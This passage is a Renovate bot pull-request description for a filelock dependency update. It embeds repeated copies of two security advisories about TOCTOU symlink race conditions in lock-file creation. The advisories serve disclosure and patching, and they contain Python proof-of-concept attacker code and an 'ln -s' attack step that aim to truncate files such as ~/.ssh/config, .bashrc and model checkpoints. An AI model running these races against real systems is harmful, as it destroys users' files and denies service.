- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7)

<!-- Release notes generated using configuration in .github/release.yaml
at main -->

#### What's Changed

- asyncio: detect cross-instance reentrant deadlocks before the poll
loop by [@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586)
- 🐛 fix(soft\_rw): evict non-regular write marker without reading it by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588)
- \_util: drop the dead st\_mtime=0 short-circuit in
raise\_on\_not\_writable\_file by
[@&#8203;HrachShah](https://redirect.github.com/HrachShah) in
[tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589)

**Full Changelog**:
<tox-dev/filelock@3.29.6...3.29.7>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 16, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6`
→ `3.29.7` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.29.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.29.6/3.29.7?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
